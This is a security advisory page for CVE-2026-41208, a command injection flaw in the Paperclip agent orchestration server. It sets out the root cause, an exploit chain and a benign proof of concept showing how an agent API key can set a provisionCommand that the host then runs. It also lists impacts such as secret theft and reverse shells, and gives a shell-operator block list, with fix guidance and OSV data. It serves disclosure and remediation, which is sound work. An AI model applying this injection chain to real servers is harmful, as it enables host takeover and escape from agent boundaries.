CVE-2026-41208: Paperclip Privilege Escalation Vulnerability

HIGH
Advisory Identifier: GHSA-265w-rf2w-cjh4
CVSS 8.8
CWE-78
Published
Advisory Summary

CVE-2026-41208 is a HIGH (CVSS 8.8) privilege escalation vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Paperclip libraries in the npm ecosystem. The issue involves privilege escalation via agent-controlled workspacestrategy.provisioncommand leading to os command execution. Remediation is available by upgrading affected packages to version 2026.416.0.

CVE-2026-41208 at a Glance

CVE Identifier CVE-2026-41208
GHSA Identifier GHSA-265w-rf2w-cjh4
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Paperclip
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41208

To remediate this vulnerability, upgrade all affected Paperclip dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@paperclipai/server fixed: 2026.416.0
npm install @paperclipai/server@2026.416.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @paperclipai/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-41208, inspect your project dependencies using npm:

npm ls @paperclipai/server

Analyze the terminal output to locate any version of Paperclip in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.416.0), your application is affected.

Note: The npm ls @paperclipai/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Paperclip, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Paperclip contains a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host. An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host. The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint. The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime using: ``` spawn("/bin/sh", ["-c", command]) ``` As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning. This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system. This vulnerability allows remote code execution on the server host. ### Details #### Rootcause Agent configuration can be modified through the API endpoint: ``` PATCH /api/agents/:id ``` The validation schema allows arbitrary configuration fields: ``` adapterConfig: z.record(z.unknown()) ``` This allows attackers to inject arbitrary keys into the adapter configuration object. Later, during workspace provisioning, the server runtime executes a shell command derived directly from this configuration. Relevant code path: ``` server/src/services/workspace-runtime.ts adapterConfig.workspaceStrategy.provisionCommand ↓ provisionExecutionWorktree() ↓ runWorkspaceCommand(...) ↓ spawn("/bin/sh", ["-c", input.command]) ``` Example logic: ``` const provisionCommand = asString(input.strategy.provisionCommand, "").trim() await runWorkspaceCommand({ command: provisionCommand }) ``` Inside runWorkspaceCommand the command is executed using: ``` spawn(shell, ["-c", input.command]) ``` Because no validation, escaping, or allowlist is applied, attacker-controlled configuration becomes a direct OS command execution primitive. #### Affected Files ``` server/src/services/workspace-runtime.ts ``` Functions involved: ``` realizeExecutionWorkspace() provisionExecutionWorktree() runWorkspaceCommand() ``` #### Attacker Model Required privileges: Attacker needs: ``` Agent API key ``` This credential is intended for agent automation and should not grant host-level execution privileges. Agent credentials may also be exposed to external runtimes, plugins, or third-party agent providers. Allowing such credentials to configure host-executed commands creates a privilege escalation vector. No board or administrator access is required. #### Attacker Chain Complete exploit chain: ``` Attacker obtains Agent API key ↓ PATCH /api/agents/:id ↓ Inject adapterConfig.workspaceStrategy.provisionCommand ↓ POST /api/agents/:id/wakeup ↓ Server executes workspace provisioning ↓ workspace-runtime.ts ↓ spawn("/bin/sh -c") ↓ Arbitrary command execution on server host ``` #### Trust Boundary Violation Paperclip’s architecture assumes the following separation: ``` Agent runtime ↓ Paperclip control plane ↓ Server host OS Agents should only perform workflow automation tasks through the orchestration layer. However, because agent-controlled configuration is executed directly by the server runtime, the boundary collapses: Agent configuration ↓ Server command execution ``` This allows an agent to execute commands outside its intended permissions. #### Why This Is a Vulnerability (Not Expected Behavior) The provisionCommand field appears intended for trusted operators configuring workspace strategies. However, the current API design allows agents themselves to modify this configuration. Because agent credentials are designed for automation and may be exposed to agent runtimes, plugins, or external providers, allowing them to configure commands executed by the host introduces a privilege escalation vector. Therefore: ``` Operator-controlled configuration → expected feature Agent-controlled configuration → privilege escalation vulnerability ``` The vulnerability arises from insufficient separation between configuration authority and execution authority. ### PoC The following PoC demonstrates safe command execution by writing a marker file on the server. The PoC does not modify system state beyond creating a file. #### Step 1 — Setup Environment Run Server: ``` $env:SHELL = "C:\Program Files\Git\bin\sh.exe" npx paperclipai onboard --yes ``` <img width="1444" height="699" alt="image" src="https://github.com/user-attachments/assets/44401c6d-ec73-4e59-943a-8635d5115c2c" /> Login Claude: ``` claude /login ``` #### Step 2 — Obtain Agent API key Create an agent via the UI or CLI and obtain its API key. Example: ``` pcp_xxxxxxxxxxxxxxxxxxxxx ``` <img width="1457" height="670" alt="image" src="https://github.com/user-attachments/assets/bb1ab898-cf0b-47b1-865a-127ba6fdc43c" /> #### Step 3 — Identify agent ID ``` GET /api/agents/me ``` <img width="1463" height="639" alt="image" src="https://github.com/user-attachments/assets/cadea916-9e57-4cf4-a11c-7320a22c4ab6" /> #### Step 4 — Inject malicious configuration ``` PATCH /api/agents/{agentId} ``` <img width="1476" height="697" alt="image" src="https://github.com/user-attachments/assets/612f7a16-b6d6-418e-bcbe-ce602b711b14" /> Payload: ``` PS E:\BucVe\pocrepo> $patchBody = @{ >> adapterConfig = @{ >> workspaceStrategy = @{ >> type = "git_worktree" >> provisionCommand = "echo PAPERCLIP_RCE > poc_rce.txt" >> } >> } >> } | ConvertTo-Json -Depth 10 ``` #### Step 5 — Trigger execution ``` POST /api/agents/{agentId}/wakeup ``` <img width="1472" height="675" alt="image" src="https://github.com/user-attachments/assets/268c7322-a5f5-4f3a-a4d4-b43efbecb20e" /> #### Step 6 — Verify command execution <img width="1231" height="347" alt="image" src="https://github.com/user-attachments/assets/559c483b-077e-42dd-9309-6a5e5c6a3bdc" /> The marker file appears on the server filesystem: ``` ~/.paperclip/worktrees/.../poc_rce.txt ``` Example content: ``` PAPERCLIP_RCE ``` This confirms that attacker-controlled commands executed on the server. ### Impact Successful exploitation allows: ``` Remote command execution on the Paperclip server ``` Potential attacker actions: ``` read environment variables exfiltrate secrets modify repositories access database credentials execute reverse shells persist on host ``` Because Paperclip orchestrates multiple agents and repositories, this can lead to full compromise of the deployment environment. This effectively allows a malicious agent to escape the orchestration layer and execute arbitrary commands on the server host. ### Recommended Fix 1. Restrict configuration authority Agents should not be able to modify execution-sensitive configuration fields. Example mitigation: ``` deny adapterConfig.workspaceStrategy modification from agent credentials ``` 2. Server-side allowlist Only allow trusted configuration keys. Example: ``` adapterConfig.workspaceStrategy.provisionCommand should only be configurable by board/admin actors. ``` 3. Avoid shell execution Instead of: ``` spawn("/bin/sh", ["-c", command]) ``` prefer: ``` spawn(binary, args) ``` or a restricted command runner. 4. Input validation Reject commands containing shell operators: ``` | & ; $ ` ``` 5. Sandboxed workspace execution Workspace provisioning should run in a restricted environment (container / sandbox). ### Minimal Patch Suggestion One possible mitigation is to prevent agent principals from modifying execution-sensitive configuration fields such as `workspaceStrategy.provisionCommand`. For example, during agent configuration updates, the server can explicitly reject this field when the request is authenticated using an Agent API key. Example TypeScript guard: ```ts // reject agent-controlled provisionCommand if ( request.auth?.principal === "agent" && body?.adapterConfig?.workspaceStrategy?.provisionCommand ) { throw new Error( "Agents are not permitted to configure workspaceStrategy.provisionCommand" ); } ``` Additionally, the server should avoid executing arbitrary shell commands derived from configuration values. Instead of executing: ``` spawn("/bin/sh", ["-c", command]) ``` prefer structured execution: ``` spawn(binary, args) ``` or restrict the command to a predefined allowlist. ### Security Impact Statement An authenticated attacker with an Agent API key can modify their agent configuration to inject arbitrary shell commands into `workspaceStrategy.provisionCommand`. These commands are executed by the Paperclip server during workspace provisioning via `spawn("/bin/sh", ["-c", command])`, resulting in arbitrary command execution on the host system. ### Disclosure This vulnerability was discovered during security research on the Paperclip orchestration runtime. The issue is reported privately to allow maintainers to patch before public disclosure.

CVE-2026-41208 Affected Paperclip Versions

1 component(s)
Fixed Versions:
2026.416.0
Product / Package Ecosystem Affected Versions Fixed Version
@paperclipai/server
npm
< 2026.416.0
2026.416.0

References

Frequently Asked Questions

What is CVE-2026-41208?
CVE-2026-41208 is a security vulnerability in Paperclip involving Privilege Escalation via Agent-Controlled workspaceStrategy.provisionCommand Leading to OS Command Execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Paperclip versions are affected?
Affected versions include releases prior to 2026.416.0 across affected packages: @paperclipai/server.
What version fixes CVE-2026-41208?
Upgrading to 2026.416.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @paperclipai/server affected?
Yes, @paperclipai/server is affected in releases prior to 2026.416.0. Upgrade your dependency to 2026.416.0 or later.
What is the CVSS score of CVE-2026-41208?
CVE-2026-41208 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-41208?
CVE-2026-41208 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-41208?
Run the dependency tree command: 'npm ls @paperclipai/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-265w-rf2w-cjh4",
  "modified" : "2026-04-24T20:53:40Z",
  "published" : "2026-04-16T22:45:26Z",
  "aliases" : [ "CVE-2026-41208" ],
  "summary" : "Paperclip: Privilege Escalation via Agent-Controlled workspaceStrategy.provisionCommand Leading to OS Command Execution",
  "details" : "### Summary\nPaperclip contains a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host.\nAn attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host.\nThe vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint.\nThe configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime using:\n```\nspawn(\"/bin/sh\", [\"-c\", command])\n```\nAs a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning.\nThis breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system.\nThis vulnerability allows remote code execution on the server host.\n\n### Details\n#### Rootcause \nAgent configuration can be modified through the API endpoint:\n```\nPATCH /api/agents/:id\n```\nThe validation schema allows arbitrary configuration fields:\n```\nadapterConfig: z.record(z.unknown())\n```\nThis allows attackers to inject arbitrary keys into the adapter configuration object.\nLater, during workspace provisioning, the server runtime executes a shell command derived directly from this configuration.\nRelevant code path:\n```\nserver/src/services/workspace-runtime.ts\n\nadapterConfig.workspaceStrategy.provisionCommand\n        ↓\nprovisionExecutionWorktree()\n        ↓\nrunWorkspaceCommand(...)\n        ↓\nspawn(\"/bin/sh\", [\"-c\", input.command])\n```\nExample logic:\n```\nconst provisionCommand = asString(input.strategy.provisionCommand, \"\").trim()\n\nawait runWorkspaceCommand({\n  command: provisionCommand\n})\n```\nInside runWorkspaceCommand the command is executed using:\n```\nspawn(shell, [\"-c\", input.command])\n```\nBecause no validation, escaping, or allowlist is applied, attacker-controlled configuration becomes a direct OS command execution primitive.\n\n\n#### Affected Files\n```\nserver/src/services/workspace-runtime.ts\n```\nFunctions involved:\n```\nrealizeExecutionWorkspace()\nprovisionExecutionWorktree()\nrunWorkspaceCommand()\n```\n\n#### Attacker Model\nRequired privileges:\nAttacker needs:\n```\nAgent API key\n```\nThis credential is intended for agent automation and should not grant host-level execution privileges.\nAgent credentials may also be exposed to external runtimes, plugins, or third-party agent providers. Allowing such credentials to configure host-executed commands creates a privilege escalation vector.\nNo board or administrator access is required.\n\n#### Attacker Chain\nComplete exploit chain:\n```\nAttacker obtains Agent API key\n        ↓\nPATCH /api/agents/:id\n        ↓\nInject adapterConfig.workspaceStrategy.provisionCommand\n        ↓\nPOST /api/agents/:id/wakeup\n        ↓\nServer executes workspace provisioning\n        ↓\nworkspace-runtime.ts\n        ↓\nspawn(\"/bin/sh -c\")\n        ↓\nArbitrary command execution on server host\n```\n\n#### Trust Boundary Violation\nPaperclip’s architecture assumes the following separation:\n```\nAgent runtime\n        ↓\nPaperclip control plane\n        ↓\nServer host OS\n\nAgents should only perform workflow automation tasks through the orchestration layer.\n\nHowever, because agent-controlled configuration is executed directly by the server runtime, the boundary collapses:\n\nAgent configuration\n        ↓\nServer command execution\n```\nThis allows an agent to execute commands outside its intended permissions.\n\n#### Why This Is a Vulnerability (Not Expected Behavior)\nThe provisionCommand field appears intended for trusted operators configuring workspace strategies.\nHowever, the current API design allows agents themselves to modify this configuration.\nBecause agent credentials are designed for automation and may be exposed to agent runtimes, plugins, or external providers, allowing them to configure commands executed by the host introduces a privilege escalation vector.\nTherefore:\n```\nOperator-controlled configuration → expected feature\nAgent-controlled configuration → privilege escalation vulnerability\n```\nThe vulnerability arises from insufficient separation between configuration authority and execution authority.\n\n### PoC\nThe following PoC demonstrates safe command execution by writing a marker file on the server.\nThe PoC does not modify system state beyond creating a file.\n\n#### Step 1 — Setup Environment\nRun Server:\n```\n$env:SHELL = \"C:\\Program Files\\Git\\bin\\sh.exe\"\nnpx paperclipai onboard --yes\n```\n<img width=\"1444\" height=\"699\" alt=\"image\" src=\"https://github.com/user-attachments/assets/44401c6d-ec73-4e59-943a-8635d5115c2c\" />\n\nLogin Claude:\n```\nclaude\n/login\n```\n\n#### Step 2 — Obtain Agent API key\nCreate an agent via the UI or CLI and obtain its API key.\nExample:\n```\npcp_xxxxxxxxxxxxxxxxxxxxx\n```\n<img width=\"1457\" height=\"670\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bb1ab898-cf0b-47b1-865a-127ba6fdc43c\" />\n\n#### Step 3 — Identify agent ID\n```\nGET /api/agents/me\n```\n<img width=\"1463\" height=\"639\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cadea916-9e57-4cf4-a11c-7320a22c4ab6\" />\n\n#### Step 4 — Inject malicious configuration\n```\nPATCH /api/agents/{agentId}\n```\n<img width=\"1476\" height=\"697\" alt=\"image\" src=\"https://github.com/user-attachments/assets/612f7a16-b6d6-418e-bcbe-ce602b711b14\" />\nPayload:\n```\nPS E:\\BucVe\\pocrepo> $patchBody = @{\n>>   adapterConfig = @{\n>>     workspaceStrategy = @{\n>>       type = \"git_worktree\"\n>>       provisionCommand = \"echo PAPERCLIP_RCE > poc_rce.txt\"\n>>     }\n>>   }\n>> } | ConvertTo-Json -Depth 10\n```\n\n#### Step 5 — Trigger execution\n```\nPOST /api/agents/{agentId}/wakeup\n```\n<img width=\"1472\" height=\"675\" alt=\"image\" src=\"https://github.com/user-attachments/assets/268c7322-a5f5-4f3a-a4d4-b43efbecb20e\" />\n\n#### Step 6 — Verify command execution\n<img width=\"1231\" height=\"347\" alt=\"image\" src=\"https://github.com/user-attachments/assets/559c483b-077e-42dd-9309-6a5e5c6a3bdc\" />\nThe marker file appears on the server filesystem:\n```\n~/.paperclip/worktrees/.../poc_rce.txt\n```\nExample content:\n```\nPAPERCLIP_RCE\n```\nThis confirms that attacker-controlled commands executed on the server.\n\n### Impact\nSuccessful exploitation allows:\n```\nRemote command execution on the Paperclip server\n```\nPotential attacker actions:\n```\nread environment variables\nexfiltrate secrets\nmodify repositories\naccess database credentials\nexecute reverse shells\npersist on host\n```\nBecause Paperclip orchestrates multiple agents and repositories, this can lead to full compromise of the deployment environment.\nThis effectively allows a malicious agent to escape the orchestration layer and execute arbitrary commands on the server host.\n\n### Recommended Fix\n1. Restrict configuration authority\nAgents should not be able to modify execution-sensitive configuration fields.\nExample mitigation:\n```\ndeny adapterConfig.workspaceStrategy modification from agent credentials\n```\n2. Server-side allowlist\nOnly allow trusted configuration keys.\nExample:\n```\nadapterConfig.workspaceStrategy.provisionCommand\n\nshould only be configurable by board/admin actors.\n```\n3. Avoid shell execution\nInstead of:\n```\nspawn(\"/bin/sh\", [\"-c\", command])\n```\nprefer:\n```\nspawn(binary, args)\n```\nor a restricted command runner.\n\n4. Input validation\nReject commands containing shell operators:\n```\n|\n&\n;\n$\n`\n```\n5. Sandboxed workspace execution\nWorkspace provisioning should run in a restricted environment (container / sandbox).\n\n### Minimal Patch Suggestion\nOne possible mitigation is to prevent agent principals from modifying execution-sensitive configuration fields such as `workspaceStrategy.provisionCommand`.\nFor example, during agent configuration updates, the server can explicitly reject this field when the request is authenticated using an Agent API key.\nExample TypeScript guard:\n\n```ts\n// reject agent-controlled provisionCommand\nif (\n  request.auth?.principal === \"agent\" &&\n  body?.adapterConfig?.workspaceStrategy?.provisionCommand\n) {\n  throw new Error(\n    \"Agents are not permitted to configure workspaceStrategy.provisionCommand\"\n  );\n}\n```\nAdditionally, the server should avoid executing arbitrary shell commands derived from configuration values.\nInstead of executing:\n```\nspawn(\"/bin/sh\", [\"-c\", command])\n```\nprefer structured execution:\n```\nspawn(binary, args)\n```\nor restrict the command to a predefined allowlist.\n\n### Security Impact Statement\nAn authenticated attacker with an Agent API key can modify their agent configuration to inject arbitrary shell commands into `workspaceStrategy.provisionCommand`. These commands are executed by the Paperclip server during workspace provisioning via `spawn(\"/bin/sh\", [\"-c\", command])`, resulting in arbitrary command execution on the host system.\n\n### Disclosure\nThis vulnerability was discovered during security research on the Paperclip orchestration runtime.\nThe issue is reported privately to allow maintainers to patch before public disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@paperclipai/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.416.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/paperclipai/paperclip/security/advisories/GHSA-265w-rf2w-cjh4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41208"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/paperclipai/paperclip"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T22:45:26Z",
    "nvd_published_at" : "2026-04-23T02:16:18Z"
  }
}